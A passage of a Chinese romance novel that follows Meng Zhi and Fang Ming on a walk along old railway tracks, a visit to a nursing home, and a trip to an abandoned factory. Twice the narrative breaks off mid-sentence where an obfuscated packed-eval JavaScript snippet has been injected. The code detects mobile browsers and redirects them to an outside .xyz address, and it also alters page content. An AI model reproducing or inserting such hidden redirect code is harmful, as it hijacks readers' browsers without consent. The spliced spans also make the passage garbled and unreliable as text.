“还会当男模。” 方铭连续眨眼,把头扭到一边:“净瞎说。” 孟至哼了一声,抬腿往前跑去,方铭立刻追上了她。一路稍显冷清,她怀念地说:“上一次来的时候,到处都是小吃,我和斯基买了一碗糖粥,现调的呢,各种豆子蜜枣咔咔往里加。当时我眼巴巴地盯着人家做糖粥,有个摄影的人还对着我拍了一张。” 方铭看着头顶的树,貌似不经意地说:“一定是你小时候很可爱,就像你那天盯着蛋糕。” 孟至突然觉得自己的脸上要绽开一个笑容,那笑意深深地嵌入脸颊,完全抑制不住,竟让她想要捂住脸。此时夕阳西下,方铭假装转过头来看落日,实际在偷着看她。他也跟着孟至一起笑了。 他拉住孟至的手肘,带她往山外走去:“走,我领你去个地方。” 从北山公园正门起,往西北方向延伸的,是一条绵长的废弃铁轨。 一看见杂草丛生的铁路,孟至就哎了一声,惊喜地跑上前去。方铭在她耳边说:“老线路,彻底不再通车了。” 虽然废弃已久,铁路仍保留至今。铁轨锈迹斑斑,枕木腐烂,两旁的树木将外界隔开,这让铁路上的时间留在了过去。 孟至踩着一根铁轨,双手平伸,像走平衡木一样走着。铁轨通向了夕阳,那轮圆日就像烧到发亮的火红色铁球,几乎已经要变成透明。在这样的时空中,孟至突然觉得自己的心原本是一个蒙着灰尘的玻璃瓶,现在她领悟到要用清水洗净瓶身,放下一些包袱,只是去爱。 方铭突然捉住了孟至的手,专心致志地帮她保持平衡。两人谁都没有松手,一直向前走去,夕阳逐渐下坠,落入了铁轨的尽头。 “可惜没有追上日落。”孟至假装惋惜地摇了摇头,俨然是夸父再世。 方铭走在铁轨之间的枕木上,一边低头看着脚下的石块,一边闷声说道:“如果你下次还愿意跟我出来,我们可以再来这里追日落。”听他的意思,好像追上日落这事不难,主要是看孟至是否乐意赏脸。 孟至一甩头发:“为什么不愿意。”这一个甩头的大动作,让她突然失去平衡,往方铭的身上栽过去。 刚来得及拐着调地叫一声,她的下落就中断了。方铭稳稳地接住了她,同时单纯而好奇地问:“姐姐,你平衡能力不太好呀?那你要少甩头发哎。” 孟至手摁着他的胸脯,站直后立刻退开半步,毫不在意地说:“甩头发怎么了,甩头发不帅气吗?”说着,她把垂到脸边的长发甩回到肩膀后,挑衅地抬头看着他。 他说:“姐姐,你在给我测心跳吗?” 她这才发现自己的手还压在他胸前,急忙收了回来。她没有注意到方铭的心跳是否加速,但她知道方才的手感十分耐人回味。 不等他再说什么,孟至挣脱了他双手的禁锢,迈着豪横的大步,带头走向不远处的热闹街道。她大声告诫方铭:“一会儿晚饭我请,你要是跟我抢,你就废了。” 方铭跟在她身后,不紧不慢地说:“我倒要看看我是怎么废的。” 18. 世界就这么大 孟至和小方隔着一张桌子对峙着。 在他们中央,已经被扫荡一空的盘子凌乱地分布在桌面上,如同一道战壕横亘在两军之间。 孟至双手按住了桌子边缘,似乎马上要站起来向外弹射,冲锋一触即发。方铭立刻一条腿踏在过道上,虽然还坐着,却胜似起跑动作。 两人僵持不下,警惕着对方的动向,同时担心自己的行为将会引起对方的阻拦,进而爆发撕扯和争端。因此两人都不敢贸然出击。 “你要是跟我抢着买单,”孟至重复了一遍宣言,“你就废了。” 方铭还是那句回答:“我倒要看看我是怎么废的。” 趁着有新客人走入这片雅座区域,孟至突然猛烈地起身,灵活地从那几人身边钻过去,不顾一切地跑向结账的吧台。她带起的风吹动了过道两旁的桌布,她觉得自己像史诗电影中的主人公,正在华美的音乐中奔向划时代的未来。 然而,当她冲到吧台前,却发现那里空无一人。 等她再回到桌子旁边时,店员正用扫码器瞄准方铭的手机屏幕。他抬起头来,对孟至挑起眉毛一笑,那样子和平时的孟至很像。 孟至站在原地,瘪着嘴看着他完成支付。方铭无辜地说:“我没想跟你抢啊,姐姐。是店员正好过来给新客人点餐……” 当他们走入街头的晚风时,孟至还在耿耿于怀地说:“你等着,你今晚就废了。” 方铭不动声色地说:“今晚?那就废吧。”他的耳朵变得通红,好在霓虹灯牌发出的光芒是天然的掩护。 两人有一搭无一搭地说着话,走回到北山附近的停车点。方铭十分懂事地问:“姐姐,你真的吃饱了吗?” “当然了,”孟至奇怪地说,“你没吃饱吗?” “不是,我只是担心你很饿。”方铭严肃地说,“刚才你筷子抡起来的时候,我觉得劲风扑面。” 孟至一拳砸到他肩膀上,巨大的反作用力使得她自己后退了一步。方铭双手插在裤兜里,低头甘之如饴地笑了。 在北山的边缘,他们看见一个坐轮椅的老人。她独自坐在那里,望着夜幕下的矮山,让人不知她是怎么来的,也不知她要怎么回去。经过她身边时,孟至问了一句:“奶奶,您在乘凉啊?”这时的夜间气温只有十几度了。 老人闭着眼睛一晃脑袋,就像打了一个激灵:“不是。” 方铭很柔顺地问:“那是出来透气了?” “我在看山呢。”老人用一根手指点着山头,“我到了这儿,就跟去国外一样了。” 孟至和方铭礼貌地微笑着,实际上一头雾水。 老人说:“你比如说,我是个蚂蚁。” 她把自己想象成山脚下的蚂蚁,于是北山这片低矮的山群就越长越高,最终将她掩藏于山谷的最深处。遍布其上的每一棵树都通向星空,每一棵草就是一片森林。她无比渺小,因而北山无限扩大,北山成了珠峰。 她告诉孟至:“其实世界就这么大。” 直到坐进货车里,孟至还在琢磨这句话。狭小而温暖的车内空间令她放松,她昏昏欲睡,一只胳膊拄在车门上,手扶额头,眼睛似睁非睁。方铭轻声说:“姐姐,你要是睡着了,我就只能把你抱回到我家了。” 孟至想着北山下的老人,慢悠悠地朗诵了一句诗:“一花一世界,一叶一菩提。” 方铭笑了出来。货车开上高速,道路两旁只有路灯亮着,原野变成了黑色的背景。他接着孟至的话说:“其实世界就这么大。” “走出去转了一圈,好像见到了花花世界。再回来发现世界还是老家这么大。”孟至降下车窗,让高速上的疾风吹到脸上,“老家足够容纳我的生存了,老家就是世界这么大。” “那你还走吗?”方铭专注地盯着前方的道路,但他又一次问出了同样的问题。 孟至哼哼笑了一下,没有回答。 他又问:“你喜欢什么样的人?” 孟至说:“外星人。” 这天夜里,他们在黑暗的高速上行驶,这辆货车变得自由而疯狂。车停在孟至家楼下时,已经是午夜了,整座城市都在沉睡。在她下车之前,方铭说:“别忘了这周来烧三七。” 孟至回头对他报以璀璨的一瞥,她的嘴角微微勾起,让他目不转睛。他又说:“进家门以后,告诉我一声。” 随后几天,孟至在墓园里按部就班地劳动。青龙给她找了一顶黑色的假发套,这样,如果有客户指定要青龙这边出人主持告别仪式,孟至就可以戴着头套上台充当司仪了。这份报酬就会相应地落在青龙团队的口袋里。也许是在死气沉沉的环境里停留太久,她非常想找几个活人说说话。 水冰月最近业务繁忙,无法抽空出来碰面。于是,在三七这天,孟至一早就在微信上轰炸了方铭。她突发奇想,计划让方铭陪她去养老院送温暖,但又担心会耽误佛香源的营业。方铭却说,佛香源下午再开门也无所谓,反正没有顾客来。 于是,两人约定在孟至的父母家楼下集合,一起取走那台特制轮椅,再将之送到养老院,交给有需要的人。本来方铭要先来接孟至,但她认为那样不够节约时间,于是作出了在她看来最科学的部署。 孟至坐上一辆开往父母家的公交车。从摇晃的车窗里,她看见昔日的工业城市已经年迈,夏季是她唯一的宝藏,而现在夏天也将要过去。平顶楼房之间的烟囱静默不语。一些烟囱被爬山虎爬满,像原始的生命,而另一些刷着红白相间的油漆,状若灯塔。 有一瞬间,她为家乡的陈旧而感到遗憾。但当她拎着轮椅走出父母家、看见方铭停在路边的车时,她又不自觉地哼起了小曲儿。她是哼唱着《大姑娘美大姑娘浪》这首歌拉开车门的。方铭抬起头来,刚听见她的演唱就笑出了声。 很快,坐落在市郊的养老院出现在视野中。方铭停好了车,拎起那一大兜破铜烂铁,和孟至一同走进院子的大门。孟至突然想起了以往她和老孟一起来看姥姥的场景,她意识到这次不会再见到她的姥姥,以后也永远不会。轻快的心情顿时结束了。 两人找到了常来楼长,表示要把轮椅赠送给院区,这让常来大受感动。她两手拉着孟至的一只手,不停地颤悠着握手。颤悠了半天之后,她突然说:“我就说你姥姥那人好,她外孙女和孙女婿也错不了。” 孟至哈哈笑了一声,说:“这是我的小老弟。” 方铭看了孟至一眼,低下头说:“这是我领导。” “哎妈呀,”常来拍着大腿,稀奇地乐了,“你俩挺逗啊,互相还角色扮演呢?哎妈呀太有意思了……” “……”凭借直觉,孟至知道她深深地误解了。但她不想越描越黑,就说:“我们把轮椅组装上。” 这架轮椅外形奇特,好像一个带轱辘的座位前面安了个护栏,其实那护栏连接着下方的压力泵。坐板分为两半,可以向两边分开。先扶着病人坐在床边,令其上半身整个趴在护栏上,接着护理员踩几下气压泵,护栏上升,连带着上面趴着的人也被驮起来。 趁着病人离开床铺,护理员把两半的坐板一左一右垫到病人座下,合成一片座位。然后降下护栏,病人随之落座,成功地从床上转移到轮椅上,不用人抬。坐板中央镂空,类似马桶圈,因此这轮椅可以直接推到马桶上方。 孟至大致看过安装图,很快就拼凑出轮椅的大框。方铭安装剩余的零部件,又精细调整一番。常来对这两个年轻人赞不绝口,而后推着轮椅跃跃欲试,要去找老人做实验。 因为孟至的关系,方铭对常来客气有加,还特意加了个微信。孟至在旁边看得十分想笑,她准备在常来走开后问问小方,是不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16463082|184753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想从现在开始就给自己排养老院的床位? 在离开之前,常来对孟至笑了一下:“你姨姥在我们楼,602,有空的话去看看呗。” 孟至这才知道二姨姥已经入住了。也许是因为托了关系,她并没有等太久。孟至只好低声对小方说:“我去看个亲戚,要不你先回吧。” 方铭却说:“我跟你一起,我要送温暖。” 按照常来的指示,两人来到那套一居室的门前,发现房门虚掩着,二姨姥背对着他们坐在床上,正哆哆嗦嗦地自言自语,看起来好像在生闷气。 孟至手里拎着刚才在院区里买的牛奶,亲亲热热地叫了一声:“姨姥,我们来看看你。”听起来,就好像她是特意来看姨姥的。 二姨姥转过头来,哎呀一声,就像见了救星:“你来得正好,我不敢自己在屋里!” 孟至奇怪地说:“这走廊里来来往往都是人呀,左邻右舍也都住满了,有什么好害怕的?” “你怎么跟你姐说话一样?”二姨姥气愤地说,“我不喜欢这地方!你姥姥就是在这儿没的……”她抹着眼睛大哭起来,姐啊姐啊地叫着。 孟至把两箱牛奶放进冰箱,脑袋嗡嗡乱响。她明白二姨姥的伤心之处,但同时也非常后悔让方铭陪自己来这里,无端给他增添了不少精神污染。 方铭同情地注视着二姨姥,出声安慰道:“姨姥,等你跟楼里的邻居熟悉了,就有人陪你了。” 二姨姥止住了哭声,睁着患有白内障的眼睛,费力地打量着方铭。她很久没被人安慰过了,这下可把她稀罕坏了。她拍打着身边的床铺说:“孩子,快坐这儿来,你是新来的护工吗?”听到方铭再添一兼职,孟至哈地笑了出来。 “不是的,姨姥,”方铭掏出手机,“不过以后有什么事可以叫我,咱们加一下微信吧。” 孟至抱起手臂,在旁边看得啧啧称奇。她替方铭说:“换锁,拆家具,垃圾回收,算命什么的,都可以找他……” 在这友好的交流时刻,隔壁突然传来凄厉的尖叫声。 一开始,孟至吓了一跳,还以为是这层楼发生了命案。很快,她发现叫声来自隔壁的隔壁,那套房间里独居的老人在撕心裂肺地惨叫着:“谁来啊——谁来啊——” 二姨姥唉声叹气地说:“那家糊涂了,总说没人来看她。” 孟至觉得那喊声让人心惊胆战。她简单地和二姨姥寒暄一番,就拉着方铭匆匆离开。两人跑到洒满阳光的院子里,假山和喷泉闪动着洁净的光,那个让人不快的环境被抛在了后面。但仍然会有人在那层楼里承接着那种不快的感受。 方铭就像看出了孟至的想法,他低声说:“其实能住进这样的养老院已经比很多人好了。” “你说得对,许多老人没有钱养老。”孟至单手捏着下巴,严峻地看着二号楼,“我在思考认知和现实的时差。如果一个人参加工作后就给父母投年金险,那么十年后就可以领钱养老了。而现实是大多数人不会买保险,十年后对着财政赤字发愁。在老龄化城市,这是应该考虑的问题。” 方铭说:“那就要靠你去给他们设计一个买得起的方案了,姐姐。” 两人回到车上,向佛香源驶去。他们有一个漫长的白天用来消磨,然后傍晚去烧三七。只是傍晚时下起了雨,这次他们打着一把大伞,在铜盆里烧完了纸钱。在一晃而过的车灯里,在路灯散发的光晕里,细乱雨丝如冰屑般飞落。也许是因为今天看到了许多老人,孟至突然说:“我不想长皱纹,但如果是陪着我喜欢的人一起长,我就愿意了。” 方铭紧紧盯着她,用沙哑的声音问:“你喜欢什么样的?” 孟至站起身来,轻松地说:“我喜欢外星人。” 方铭跟在她身后,点着头说:“好,好,到底也没告诉我喜欢什么样的。” 19. 旋转 随着三七的结束,所有仪式终于告一段落。孟至回了一趟珠三角,去老东家办理离职手续,将行李细软打包邮回老家,最后退掉了租住的房子。 在珠三角停留的十天里,她重新找吉他老师上了几节课,每天和大学好友欢聚畅饮,还探望了几位本科老师和学哥学姐。某些夜晚,她坐在南方露天的桌椅边,喝着一杯果茶,久久沉浸在令人惬意的夜色里。周围灯火通明,行人如织,她回忆着在这里的生活,也怀念着赚得盆满钵满的过去。温暖的气候像一个巨大的童话,让此地得以演变出梦幻而繁华的布景。 她好像又回到了过去的日子里。她不得不承认,这一趟故地重游让她的心松动了。原本被封存的野心和玩心,就像初春时的冰河,悄悄开裂和动荡起来。 等她从南方回来,老家已经是纯正的秋天了。温和的阳光远远地落下来,落到城市中时,已经不再灼热。以灰色和褐色为主色调的街头,呈现出从容的秋意。孟至一到家,就打了几个喷嚏,风已经是冷飕飕的了。 接着,手机弹出了新消息。真相大白,原来是方铭在念叨她,才导致了她的一系列喷嚏。 小方-开锁回收旧家具:“最近怎么不找我说话了,姐姐。” 孟至回复道:“去南方办事了,今天才回来。” 罕见地,方铭没有追问她去南方做什么,而是直截了当地问:“想去废弃工厂吗?” 孟至立刻说:“想。” “那你休息一下,明天见。”方铭叮嘱道,“记得带上身份证。” 第二天一早,孟至一手拿着冲锋衣,一手捏着身份证,从门前的台阶上俯冲下来。这一次,方铭轻手利脚地站在公寓楼下等她,他没有开车来。见到孟至,他淡淡地笑了一下,说:“你这些天在外地很开心吧,脸颊都变圆了。” 孟至伸手摁了一下脸颊,发现果然肉变厚了。方铭的视线胶着在她脸上,缓缓地说:“走吧,去坐高铁。” “这次走得远呀?”孟至兴奋地问,“是去哪里的老工厂,Y市吗?” 两人并肩走向地铁站,般配的身形引来路人的一瞥。方铭用和煦的目光看着她,说:“以前Y市铁路西边确实有很多废弃工厂,不过现在都改造成创意园区了。我们这次去另一个地方。” 孟至立刻抓着他的背包带子说:“去哪?去哪?快告诉我,要不然你就废了。” 方铭说:“暂时保密。”他拿过孟至手里的身份证,用手机订了高铁票。孟至伸手说:“你的身份证也给我,回程的票我买。” 她只拿到了自己的身份证。方铭面无表情地迈动着长腿,疏离地说:“不用了,我订好了。你还是那么客气,姐姐。” 孟至只好说:“那今天的伙食我包了,别跟我抢,要不然……” “我已经废了。” 直到下了火车,孟至才知道自己来到一座海滨城市。他们到达时正是正午,孟至脚踏着一片不真实的王国,街道的尽头就是闪耀的海面。这是东北的海,红色的百年建筑坐落在蔚蓝的海边。她几乎闻到了迎面而来的海风的味道,似乎海面上每一只飞鸥的振翅所带起的风,都能扬起她心里的帆,她想了半天,终于想出一句诗词来形容,她觉得自己心里百舸争流。 但海边不是他们此行的目的地。午饭之后,方铭在当地租了一辆车,载着孟至在滨海公路上飞驰。开到一处完全陌生的地带时,车停了。方铭转过头来看着她,轻声说:“就不怕我把你骗到没人的地方啊?” 孟至笑嘻嘻地说:“不会的,小方是面的。” 车里静静的,只能听得见方铭的呼吸声。孟至挑了一下眉毛,率先推开车门跳了出去。眼前是一座废弃工厂,几栋小楼立在大风里,所有窗户都已经没有玻璃,就像一排排空洞的眼。从一个个空缺里,孟至看见工厂内部的每一层都是废墟。一时间,孟至竟不知该如何走进这片末日乐园。 方铭把一只手轻轻搭在她肩头,带着她走进空无一人的厂房。也许是因为楼内衰败而混乱,孟至的心里突然泛起了一丝波澜,好像他的体温是这片废土上唯一的一笔暖色。不知怎地,她没有拂去方铭的手,反而抱着膀子向他靠拢过来。 天花上的大块吊顶都已经脱落,与棚顶藕断丝连,就像一片一片巨大的纸页垂了下来。脚下都是碎裂的玻璃和板材,两人必须小心地绕开这些垃圾。孟至向楼梯一扬下巴:“上去看看。”方铭闷头奔上来几步,在孟至之前上了台阶,又微微侧过脸来对身后的孟至说:“你可以抓着我的背包。” 楼梯完全没有扶手,孟至紧贴着墙面,一级一级上着台阶,突然想起和水冰月相遇的晚上,两人紧贴着人行道的护栏移动。但现在她并不感觉害怕,方铭就在她前面,像一块硕大的座椅靠背一样令人安心。 第二层楼同样是战损状态,孟至简直怀疑这里实际是军事演习基地。两人爬向第三楼,方铭忽然问道:“南方好玩吗?” 孟至想了一下,懒洋洋地说:“挺好玩的,比较热闹。” 他又问:“你见了很多人?” “是啊,总算有人聊天了,我回来这么久都要憋死了,”孟至皱着脸说,“我在墓园,每天都和不说话的人打交道,你懂的。” 方铭低声说:“他们要是突然说话也挺吓人。” 踏上最后一级台阶,孟至刚想悄悄吓唬小方,就先自己被这层楼吓了一跳。面前摆放着数尊高大的白瓷佛像,每尊佛像身披红色斗篷,脚下供奉着饮料和苹果。灰暗废墟内的破败,衬托出佛像天团的体面,怪异的混搭脱离了世俗的认知,让人汗毛竖起。 孟至嘶了一声,头皮发麻,却又十分过瘾。方铭转头打量着她的表情,郑重其事地说:“一定是有人来这里定期参拜,贡品都是新鲜的。你觉得是什么人会秘密在这里拜佛?” “恩,看起来是的,”孟至点了点头,“我们就不偷这些贡品了,让它们继续摆着吧。” “……”方铭似乎终于发现孟至少了一根筋,她从来不知道什么叫紧张和害怕。他突然胆怯地握住孟至的手臂,俯身在她耳边说:“姐姐,这里好可怕啊。” 孟至在他坚硬的大手上拍了拍,安慰地说:“没事的,哪怕这些佛像都活了又能咋的?你这么个大个子,还打不过他们吗?” 方铭直起身来,被噎得久久说不出话。孟至在佛像之间走来走去,又将视线投到窗洞之外的公路上,若有所思地说:“你说,这些佛像会不会趁没人的时候在楼里玩?” “会吧,”方铭抱起手臂,嘴角泛起无奈的微笑,“会在窗户上拴一个秋千。荡出去——就飞到室外,可以晒太阳。荡回来——就回到室内,可以顺手捞一个贡果。” “秋千好啊!”孟至双眼发亮,被方铭提出的破窗秋千方案深深吸引了,“我小时候,我姥姥姥爷偶尔不打架的时候,会一人拎着被子的两个角,把我放在上面,悠来悠去。你玩过没有?” 方铭轻轻伸出两只手。一只手环住孟至的腰,另一只手抵住她的膝盖窝向上托起。孟至被打横抱了起来,突如其来的失重感让她不自觉地抱住了他的脖子。她抬起头看向他的眼睛,发现他正紧盯着自己。再往前探一下脖子,她的鼻尖就能擦上他的下巴。 温热的怀抱充满力量感, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472238|184753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 令孟至陌生,令孟至不知所措。从记事开始,很少有人抱她,刘校长不会抱她,姥姥姥爷抱不动她。方铭的眼中燃烧着火,孟至突然有种错觉,这座废墟就是被他眼里的火给炸成这样的。 孟至直愣愣地问:“干什么?” 方铭说:“抓紧。” 接着,他抱着孟至原地打转,一圈又一圈,既像打秋千,又像加速的旋转木马。周围旋转不息,孟至把脸埋在他的肩上,欢呼一声,大笑起来。清脆的笑声就像一些明亮的音符,飘落在废墟和佛像上。一直到孟至说自己头晕,方铭才小心地把她放下来。 两人靠着墙根坐着,孟至觉得四面墙还在转,整个人悬浮不定。她问:“我们背后的墙是不是也要裂了?是不是在动?” 方铭哑然失笑:“也可能是我们自己要裂了呢。” 他拿过背包,掏出一台笔记本电脑,掀开上盖,熟练地点开软件。孟至把头凑过来看着,看出那是CAD软件puter-AidedDesign,用来设计图纸,屏幕上两条横平竖直的线相交成十字,交点处是一个空心小圆圈。随着鼠标的移动,十字如同画笔,画出各种几何图形。 方铭画出一条条线段,又将其中一些连接起来,再画出圆形。而后使用复制指令,炮制出一模一样的图形组。他不停调整着图形,创作着抽象几何画作。孟至知道室内施工设计师也会用CAD画图,于是她开始怀疑方师傅又要多一个职业分身了。 再回过神来,方铭已经画好了一幅完全由直线和圆形组成的简笔画。门字形架子下面吊着两个秋千,两个圆脑袋、方形身子、细胳膊细腿的火柴人并排坐在秋千上。方铭说:“看好了。” 他选中两个小人和两个秋千,鼠标来回拖动,那两个小人就荡起了秋千。孟至两手一拍,笑眯眯地问:“可以让他们绕着横杆旋转吗?” “你好狠啊。”方铭半真半假地说着,果然变换指令,那两个小人绕着秋千架的横杆疯狂做离心运动,孟至大笑起来。满地都是玻璃和家具的碎片,一群佛像静静地俯视着这两个年轻人,而他们专注地俯视着电脑屏幕。孟至还在喋喋不休,小方则微笑着看着她。 直到斜阳晚照,他们才走出厂房,匆匆吃了晚饭,乘坐高铁回到了C市。把孟至送回到公寓楼下时,方铭忽然伸手挡住了即将关上的防盗门。 孟至回头一看,方铭尾随着她走进楼里。沉重的铁门在他身后合拢,声控灯没有亮起,黑暗包裹了两人。方铭双手握住她的两肩,他闪亮的眼睛慢慢靠近过来,由此孟至推断出他整个人都在靠近。她的腿脚发软,向后一个趔趄,方铭干脆拥着她靠在墙上,用自己的手臂垫在她身后。 眨了几次眼后,孟至适应了黑暗,又能看清他的脸了。他的脸近在咫尺,呼出的热气喷洒在她身上。他低声问:“今天开心吗?” 孟至靠着他的手臂,并不觉得墙壁冰冷,相反地,她觉得浑身流过了暖流。但方铭的体温比她热得多。 方铭凑得更近了:“你愿不愿意留下?” “我不知道呀。”孟至又有一种喝多了的眩晕感,也许是因为缺氧。方铭的表情还是冷冷清清的,但他的眉毛压迫性地降低了,眼睛里的光逐渐熄灭下去。他问:“你愿不愿意留下来,跟我?” 孟至张了张嘴,头昏脑胀地说:“我们互相还不了解。”她想听听小方如何讲述自己的生平,又担心自己会去南方。两种巨大的力量互相矛盾,她觉得自己也被绑在离心机上甩着。 方铭突然松开了她,失魂落魄地后退了一步。他把头转到一边,看着幽暗的角落说:“上去吧。”